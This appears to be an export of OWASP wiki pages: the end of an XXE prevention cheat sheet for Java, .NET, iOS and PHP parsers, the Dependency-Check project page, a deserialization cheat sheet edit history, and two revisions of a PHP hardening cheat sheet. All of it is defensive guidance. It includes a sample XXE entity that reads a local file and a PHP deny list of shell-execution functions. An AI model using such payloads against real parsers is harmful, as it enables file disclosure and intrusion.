* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to <code>true</code>.
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities this feature] to <code>false</code>.
* Do not include parameter entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities this feature] to <code>false</code>.
* Do not include external DTDs by setting [http://xerces.apache.org/xerces-j/features.html#load-external-dtd this feature] to <code>false</code>.

'''Note: The above defenses require Java 7 update 67, Java 8 update 20, or above, because the above countermeasures for DocumentBuilderFactory and SAXParserFactory are broken in earlier Java versions, per: [http://www.cvedetails.com/cve/CVE-2014-6517/ CVE-2014-6517].'''

===XMLInputFactory (a StAX parser)===

[http://en.wikipedia.org/wiki/StAX StAX] parsers such as [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] allow various properties and features to be set.

To protect a Java XMLInputFactory from XXE, do this:

xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities

===TransformerFactory===
To protect a javax.xml.transform.TransformerFactory from XXE, do this:
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

===Validator===
To protect a javax.xml.validation.Validator from XXE, do this:
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

===SchemaFactory===
To protect a javax.xml.validation.SchemaFactory from XXE, do this:
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
Schema schema = factory.newSchema(Source);

===SAXTransformerFactory===
To protect a javax.xml.transform.sax.SAXTransformerFactory from XXE, do this:
SAXTransformerFactory sf = SAXTransformerFactory.newInstance();
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
sf.newXMLFilter(Source);

'''Note: Use of the following XMLConstants requires JAXP 1.5, which was added to Java in 7u40 and Java 8:'''
* javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD
* javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA
* javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET

===XMLReader===
To protect a Java org.xml.sax.XMLReader from XXE, do this:
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); // This may not be strictly required as DTDs shouldn't be allowed at all, per previous line.
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

===SAXReader===
To protect a Java org.dom4j.io.SAXReader from XXE, do this:
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Based on testing, if you are missing one of these, you can still be vulnerable to an XXE attack.

===SAXBuilder===
To protect a Java org.jdom2.input.SAXBuilder from XXE, do this:
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document doc = builder.build(new File(fileName));

===JAXB Unmarshaller===
Since a javax.xml.bind.Unmarshaller parses XML and does not support any flags for disabling XXE, it’s imperative to parse the untrusted XML through a configurable secure parser first, generate a source object as a result, and pass the source object to the Unmarshaller. For example:

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(new StringReader(xml)));
JAXBContext jc = JAXBContext.newInstance(Object.class);
Unmarshaller um = jc.createUnmarshaller();
um.unmarshal(xmlSource);

===XPathExpression===
A javax.xml.xpath.XPathExpression is similar to an Unmarshaller where it can’t be configured securely by itself, so the untrusted data must be parsed through another securable XML parser first. For example:
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate( builder.parse(new ByteArrayInputStream(xml.getBytes())) );

===java.beans.XMLDecoder===

The [https://docs.oracle.com/javase/8/docs/api/java/beans/XMLDecoder.html#readObject-- readObject()] method in this class is fundamentally unsafe. Not only is the XML it parses subject to XXE, but the method can be used to construct any Java object, and [http://stackoverflow.com/questions/14307442/is-it-safe-to-use-xmldecoder-to-read-document-files execute arbitrary code as described here]. And there is no way to make use of this class safe except to trust or properly validate the input being passed into it. As such, we'd strongly recommend completely avoiding the use of this class and replacing it with a safe or properly configured XML parser as described elsewhere in this cheat sheet.

===Other XML Parsers===
There are many 3rd party libraries that parse XML either directly or through their use of other libraries. Please test and verify their XML parser is secure against XXE by default. If the parser is not secure by default, look for flags supported by the parser to disable all possible external resource inclusions like the examples given above. If there’s no control exposed to the outside, make sure the untrusted content is passed through a secure parser first and then passed to insecure 3rd party parser similar to how the Unmarshaller is secured.

==== Spring Framework MVC/OXM XXE Vulnerabilities ====

For example, some XXE vulnerabilities were found in [http://pivotal.io/security/cve-2013-4152 Spring OXM] and [http://pivotal.io/security/cve-2013-7315 Spring MVC]. The following versions of the Spring Framework are vulnerable to XXE:

* 3.0.0 to 3.2.3 (Spring OXM & Spring MVC)
* 4.0.0.M1 (Spring OXM)
* 4.0.0.M1-4.0.0.M2 (Spring MVC)

There were other issues as well that were fixed later, so to fully address these issues, Spring recommends you upgrade to Spring Framework 3.2.8+ or 4.0.2+.

For Spring OXM, this is referring to the use of org.springframework.oxm.jaxb.Jaxb2Marshaller. Note that the CVE for Spring OXM specifically indicates that 2 XML parsing situations are up to the developer to get right, and 2 are the responsibility of Spring and were fixed to address this CVE. Here's what they say:

'''Two situations developers must handle:'''
For a DOMSource, the XML has already been parsed by user code and that code is responsible for protecting against XXE.
For a StAXSource, the XMLStreamReader has already been created by user code and that code is responsible for protecting against XXE.

'''The issue Spring fixed:'''

For SAXSource and StreamSource instances, Spring processed external entities by default thereby creating this vulnerability.
Here's an example of using a StreamSource that was vulnerable, but is now safe, if you are using a fixed version of Spring OXM or Spring MVC:

org.springframework.oxm.Jaxb2Marshaller marshaller = new org.springframework.oxm.jaxb.Jaxb2Marshaller();
marshaller.unmarshal(new StreamSource(new StringReader(some_string_containing_XML)); // Must cast return Object to whatever type you are unmarshalling

So, per the [http://pivotal.io/security/cve-2013-4152 Spring OXM CVE writeup], the above is now safe. But if you were to use a DOMSource or StAXSource instead, it would be up to you to configure those sources to be safe from XXE.

==.NET==

The following information for XXE injection in .NET is directly from this web application of unit tests by Dean Fleming: https://github.com/deanf1/dotnet-security-unit-tests. This web application covers all currently supported .NET XML parsers, and has test cases for each demonstrating when they are safe from XXE injection and when they are not. Previously, this information was based on James Jardine's excellent .NET XXE article: https://www.jardinesoftware.net/2016/05/26/xxe-and-net/.
It originally provided more recent and more detailed information than the older article from Microsoft on how to prevent XXE and XML Denial of Service in .NET: http://msdn.microsoft.com/en-us/magazine/ee335713.aspx, however, it has some inaccuracies that the web application covers.

The following table lists all supported .NET XML parsers and their default safety levels:

{| style="width: 25%; align:center; text-align:left; border: 2px solid #4d953d; background-color:#F2F2F2; padding=2;"
|- style="background-color: #4d953d; color: #FFFFFF;"
! XML Parser !! Safe by Default?
|- style="background-color: #FFFFFF;"
|'''LINQ to XML'''
|Yes
|- style="background-color: #FFFFFF;"
|'''XmlDictionaryReader'''
|Yes
|- style="background-color: #FFFFFF;"
|'''XmlDocument'''
|
|-
|...prior to 4.5.2
|No
|-
|...in versions 4.5.2 +
|Yes
|- style="background-color: #FFFFFF;"
| '''XmlNodeReader'''
| Yes
|- style="background-color: #FFFFFF;"
| '''XmlReader'''
| Yes
|- style="background-color: #FFFFFF;"
| '''XmlTextReader'''
|
|-
| ...prior to 4.5.2
| No
|-
|...in versions 4.5.2 +
|Yes
|- style="background-color: #FFFFFF;"
| '''XPathNavigator'''
|
|-
|...prior to 4.5.2
|No
|-
|...in versions 4.5.2 +
|Yes
|- style="background-color: #FFFFFF;"
| '''XslCompiledTransform'''
| Yes
|}

=== LINQ to XML ===
Both the XElement and XDocument objects in the System.Xml.Linq library are safe from XXE injection by default. XElement parses only the elements within the XML file, so DTDs are ignored altogether. XDocument has DTDs [https://github.com/dotnet/docs/blob/master/docs/visual-basic/programming-guide/concepts/linq/linq-to-xml-security.md disabled by default], and is only unsafe if constructed with a different unsafe XML parser.

=== XmlDictionaryReader ===
System.Xml.XmlDictionaryReader is safe by default, as when it attempts to parse the DTD, the compiler throws an exception saying that "CData elements not valid at top level of an XML document". It becomes unsafe if constructed with a different unsafe XML parser.

=== XmlDocument ===
Prior to .NET Framework version 4.5.2, System.Xml.XmlDocument is '''unsafe''' by default. The XmlDocument object has an XmlResolver object within it that needs to be set to null in versions prior to 4.5.2. In versions 4.5.2 and up, this XmlResolver is set to null by default. The following example shows how it is made safe:
static void LoadXML()
{
string xml = "<?xml version=\"1.0\" ?><!DOCTYPE doc
[<!ENTITY win SYSTEM \"file:///C:/Users/user/Documents/testdata2.txt\">]
><doc>&win;</doc>";

XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = null; // Setting this to NULL disables DTDs - Its NOT null by default.
xmlDoc.LoadXml(xml);
Console.WriteLine(xmlDoc.InnerText);
Console.ReadLine();
}
XmlDocument can become unsafe if you create your own nonnull XmlResolver with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx referenced MSDN article].

=== XmlNodeReader ===
System.Xml.XmlNodeReader objects are safe by default and will ignore DTDs even when constructed with an unsafe parser or wrapped in another unsafe parser.

=== XmlReader ===
System.Xml.XmlReader objects are safe by default. They are set by default to have their ProhibitDtd property set to false in .NET Framework versions 4.0 and earlier, or their DtdProcessing property set to Prohibit in .NET versions 4.0 and later. Additionally, in .NET versions 4.5.2 and later, the XmlReaderSettings belonging to the XmlReader has its XmlResolver set to null by default, which provides an additional layer of safety. Therefore, XmlReader objects will only become unsafe in version 4.5.2 and up if both the DtdProcessing property is set to Parse and the XmlReaderSetting's XmlResolver is set to a nonnull XmlResolver with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx referenced MSDN article].

=== XmlTextReader ===
System.Xml.XmlTextReader is '''unsafe''' by default in .NET Framework versions prior to 4.5.2. Here is how to make it safe in various .NET versions:

==== Prior to .NET 4.0 ====
In .NET Framework versions prior to 4.0, DTD parsing behavior for XmlReader objects like XmlTextReader are controlled by the Boolean ProhibitDtd property found in the System.Xml.XmlReaderSettings and System.Xml.XmlTextReader classes. Set these values to true to disable inline DTDs completely.

XmlTextReader reader = new XmlTextReader(stream);
reader.ProhibitDtd = true; // NEEDED because the default is FALSE!!

==== .NET 4.0 - .NET 4.5.2 ====

In .NET Framework version 4.0, DTD parsing behavior has been changed. The ProhibitDtd property has been deprecated in favor of the new DtdProcessing property. However, they didn't change the default settings so XmlTextReader is still vulnerable to XXE by default. Setting DtdProcessing to Prohibit causes the runtime to throw an exception if a <!DOCTYPE> element is present in the XML. To set this value yourself, it looks like this:

XmlTextReader reader = new XmlTextReader(stream);
reader.DtdProcessing = DtdProcessing.Prohibit; // NEEDED because the default is Parse!!
Alternatively, you can set the DtdProcessing property to Ignore, which will not throw an exception on encountering a <!DOCTYPE> element but will simply skip over it and not process it. Finally, you can set DtdProcessing to Parse if you do want to allow and process inline DTDs.

==== .NET 4.5.2 and later ====

In .NET Framework versions 4.5.2 and up, XmlTextReader's internal XmlResolver is set to null by default, making the XmlTextReader ignore DTDs by default. The XmlTextReader can become unsafe if if you create your own nonnull XmlResolver with default or unsafe settings.

=== XPathNavigator ===
System.Xml.XPath.XPathNavigator is '''unsafe''' by default in .NET Framework versions prior to 4.5.2. This is due to the fact that it implements IXPathNavigable objects like XmlDocument, which are also unsafe by default in versions prior to 4.5.2. You can make XPathNavigator safe by giving it a safe parser like XmlReader (which is safe by default) in the XPathDocument's constructor. Here is an example:<syntaxhighlight lang="c#">
XmlReader reader = XmlReader.Create("example.xml");
XPathDocument doc = new XPathDocument(reader);
XPathNavigator nav = doc.CreateNavigator();
string xml = nav.InnerXml.ToString();
</syntaxhighlight>

=== XslCompiledTransform ===
System.Xml.Xsl.XslCompiledTransform (an XML transformer) is safe by default as long as the parser it’s given is safe. It is safe by default because the default parser of the Transform() methods is an XmlReader, which is safe by default (per above). [http://www.dotnetframework.org/default.aspx/4@0/4@0/DEVDIV_TFS/Dev10/Releases/RTMRel/ndp/fx/src/Xml/System/Xml/Xslt/XslCompiledTransform@cs/1305376/XslCompiledTransform@cs The source code for this method is here.] Some of the Transform() methods accept an XmlReader or IXPathNavigable (e.g., XmlDocument) as an input, and if you pass in an unsafe XML Parser then the Transform will also be unsafe.

==iOS==

===libxml2===

iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).

===NSXMLDocument===

iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:

* iOS4 and earlier: All external entities are loaded by default.

* iOS5 and later: Only entities that don't require network access are loaded. (which is safer)

However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.

==PHP==

Per [http://php.net/manual/en/function.libxml-disable-entity-loader.php the PHP documentation], the following should be set when using the default PHP XML parser in order to prevent XXE:

libxml_disable_entity_loader(true);

A description of how to abuse this in PHP is presented in a good [https://www.sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/ SensePost article] describing a cool PHP based XXE vulnerability that was fixed in Facebook.

==References==
* [[Top_10-2017_A4-XML_External_Entities_(XXE)| OWASP Top 10-2017 A4: XML External Entities (XXE)]]
* [https://vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"]
* [https://find-sec-bugs.github.io/bugs.htm#XXE_SAXPARSER FindSecBugs XXE Detection]
* [https://github.com/ssexxe/XXEBugFind XXEbugFind Tool]
* [[Testing for XML Injection (OTG-INPVAL-008)]]

= Authors and Primary Editors =

[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org 
[[User:Xiaoran_Wang|Xiaoran Wang]] - xiaoran[at]attacker-domain.com 
James Jardine - james[at]jardinesoftware.com 
Tony Hsu (Hsiang-Chih) 
[[User:Dfleming|Dean Fleming]]

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}
[[Category:Cheatsheets]]
|}

OWASP Dependency Check

2018-05-26T07:40:30Z

Tony Hsu HsiangChih: update OWASP 2017

=Main=
<div style="width:100%;height:90px;border:0,margin:0;overflow: hidden;">[[File: flagship_big.jpg|link=]]</div>
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
==OWASP Dependency-Check==

Dependency-Check is a utility that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities. Currently, Java and .NET are supported; additional experimental support has been added for Ruby, Node.js, Python, and limited support for C/C++ build systems (autoconf and cmake). The tool can be part of a solution to the OWASP Top 10 2017 A9:2017-Using Components with Known Vulnerabilities [https://www.owasp.org/index.php/Top_10-2017_Top_10] previously known as OWASP Top 10 2013 [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities A9 - Using Components with Known Vulnerabilities].

==Introduction==

The OWASP Top 10 2013 contains a new entry: [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities A9 - Using Components with Known Vulnerabilities]. Dependency-check can currently be used to scan applications (and their dependent libraries) to identify any known vulnerable components.

The problem with using known vulnerable components was described very well in a paper by Jeff Williams and Arshan Dabirsiaghi titled, "[http://www1.contrastsecurity.com/the-unfortunate-reality-of-insecure-libraries?&__hssc=92971330.1.1412763139545&__hstc=92971330.5d71a97ce2c038f53e4109bfd029b71e.1412763139545.1412763139545.1412763139545.1&hsCtaTracking=7bbb964b-eac1-454d-9d5b-cc1089659590%7C816e01cf-4d75-449a-8691-bd0c6f9946a5 The Unfortunate Reality of Insecure Libraries]" (registration required). The gist of the paper is that we as a development community include third party libraries in our applications that contain well known published vulnerabilities (such as those at the [http://web.nvd.nist.gov/view/vuln/search National Vulnerability Database]).

Dependency-check has a command line interface, a Maven plugin, an Ant task, and a Jenkins plugin. The core engine contains a series of analyzers that inspect the project dependencies, collect pieces of information about the dependencies (referred to as evidence within the tool). The evidence is then used to identify the [http://nvd.nist.gov/cpe.cfm Common Platform Enumeration (CPE)] for the given dependency. If a CPE is identified, a listing of associated [http://cve.mitre.org/ Common Vulnerability and Exposure (CVE)] entries are listed in a report.

Dependency-check automatically updates itself using the [http://nvd.nist.gov/download.cfm NVD Data Feeds] hosted by NIST. '''IMPORTANT NOTE:''' The initial download of the data may take ten minutes or more, if you run the tool at least once every seven days only a small XML file needs to be downloaded to keep the local copy of the data current.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Quick Download ==

Version 3.2.0
* [http://dl.bintray.com/jeremy-long/owasp/dependency-check-3.2.0-release.zip Command Line]
* [http://dl.bintray.com/jeremy-long/owasp/dependency-check-ant-3.2.0-release.zip Ant Task]
* [http://search.maven.org/#artifactdetails%7Corg.owasp%7Cdependency-check-maven%7C3.2.0%7Cmaven-plugin Maven Plugin]
* [http://search.maven.org/#artifactdetails%7Corg.owasp%7Cdependency-check-gradle%7C3.2.0%7Cgradle-plugin Gradle Plugin]
* [https://plugins.jenkins.io/dependency-check-jenkins-plugin Jenkins Plugin]
* [http://brew.sh/ Mac Homebrew]: <code>brew update && brew install dependency-check</code>

Other Plugins
* [http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22net.vonbuchholtz%22%20a%3A%22sbt-dependency-check%22 sbt Plugin]
* [https://github.com/livingsocial/lein-dependency-check lein-dependency-check]

== Integrations ==
* [https://github.com/stevespringett/dependency-check-sonar-plugin SonarQube Plugin]

== Links ==

* [https://github.com/jeremylong/DependencyCheck github]
* [https://github.com/jeremylong/dependency-check-gradle gradle source]
* [https://github.com/albuch/sbt-dependency-check sbt source]
* [https://github.com/jenkinsci/dependency-check-plugin jenkins source]
* [https://www.ohloh.net/p/dependencycheck Ohloh]
* [https://bintray.com/jeremy-long/owasp Bintray]

== Documentation ==

* [http://jeremylong.github.io/DependencyCheck/ Documentation (on GitHub)]

== Mailing List ==

* [mailto:dependency-check+subscribe@googlegroups.com Subscribe]
* [mailto:dependency-check@googlegroups.com Post]
* [https://groups.google.com/forum/#!forum/dependency-check Archived Posts]

== Presentation ==

* [http://jeremylong.github.io/DependencyCheck/general/dependency-check.pdf dependency-check (PDF)]
* [http://jeremylong.github.io/DependencyCheck/general/dependency-check.pptx dependency-check (PPTX)]

==Classifications==

{| width="200" cellpadding="2"
|-
| rowspan="2" align="center" valign="top" width="50%" | [[File:Owasp-flagship-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Flagship_Projects]]
| align="center" valign="top" width="50%" | [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%" | [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_CODE.jpg|link=]]
|}

|}

= Acknowledgements =
==Volunteers==
Dependency-Check is developed by a team of volunteers. The primary contributors to date have been:

* [[User:Jeremy Long|Jeremy Long]]
* [[User:Steve Springett|Steve Springett]]
* [[User:Will Stranathan|Will Stranathan]]

= Road Map and Getting Involved =
As of March 2015, the top priorities are:
* Resolving all open [https://github.com/jeremylong/DependencyCheck/issues?state=open github issues/feature requests]
* Improving analysis for .NET Dlls

Involvement in the development and promotion of dependency-check is actively encouraged!
You do not have to be a security expert in order to contribute. How you can help:
* Use the tool
* Provide feedback via the [https://groups.google.com/forum/?fromgroups#!forum/dependency-check mailing list] or by creating [https://github.com/jeremylong/DependencyCheck/issues?state=open github issues] (both bugs and feature requests are encouraged)
* The project source code is hosted on [https://github.com/jeremylong/DependencyCheck/ github] - if you are so inclined fork it and provide push requests!

__NOTOC__ <headertabs></headertabs>

[[Category:OWASP Project]]
[[Category:OWASP_Builders]]
[[Category:OWASP_Defenders]]
[[Category:OWASP_Document]]

Deserialization Cheat Sheet

2018-05-14T00:39:13Z

Tony Hsu HsiangChih:

Deserialization Cheat Sheet

2018-05-14T00:37:11Z

Tony Hsu HsiangChih:

Deserialization Cheat Sheet

2018-05-14T00:36:11Z

Tony Hsu HsiangChih:

Deserialization Cheat Sheet

2018-05-14T00:34:44Z

Tony Hsu HsiangChih: tra

Deserialization Cheat Sheet

2018-05-14T00:34:02Z

Tony Hsu HsiangChih: transient

Deserialization Cheat Sheet

2018-05-14T00:27:19Z

Tony Hsu HsiangChih: Serializable

Deserialization Cheat Sheet

2018-04-07T02:09:59Z

Tony Hsu HsiangChih:

Deserialization Cheat Sheet

2018-04-07T02:05:39Z

Tony Hsu HsiangChih: ObjectInputStream.readUnshared

Deserialization Cheat Sheet

2018-04-07T02:05:16Z

Tony Hsu HsiangChih: /* BlackBox Review */

Deserialization Cheat Sheet

2018-04-07T01:58:27Z

Tony Hsu HsiangChih: updated toolset

Deserialization Cheat Sheet

2018-04-07T01:45:13Z

Tony Hsu HsiangChih: Add toolkits

Deserialization Cheat Sheet

2018-04-07T01:34:15Z

Tony Hsu HsiangChih: updated tools kits

Deserialization Cheat Sheet

2018-03-17T08:53:53Z

Tony Hsu HsiangChih:

Deserialization Cheat Sheet

2018-03-16T10:11:36Z

Tony Hsu HsiangChih: co-authors

Deserialization Cheat Sheet

2018-03-16T10:11:04Z

Tony Hsu HsiangChih: ref

Deserialization Cheat Sheet

2018-03-16T10:09:37Z

Tony Hsu HsiangChih: ref

Deserialization Cheat Sheet

2018-03-16T10:07:16Z

Tony Hsu HsiangChih: Java , python, PHP whitebox review

PHP Configuration Cheat Sheet

2018-03-12T06:55:15Z

Tony Hsu HsiangChih:

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off
register_globals = Off
safe_mode = Off
session.gc_maxlifetime = 600
Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.use_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.use_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 8M
post_max_size = 8M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

--[[User:Tony_Hsu_HsiangChih]]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Configuration Cheat Sheet

2018-03-12T03:34:17Z

Tony Hsu HsiangChih:

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off
register_globals = Off
safe_mode = Off
session.gc_maxlifetime = 600
Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.user_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.user_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 8M
post_max_size = 8M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

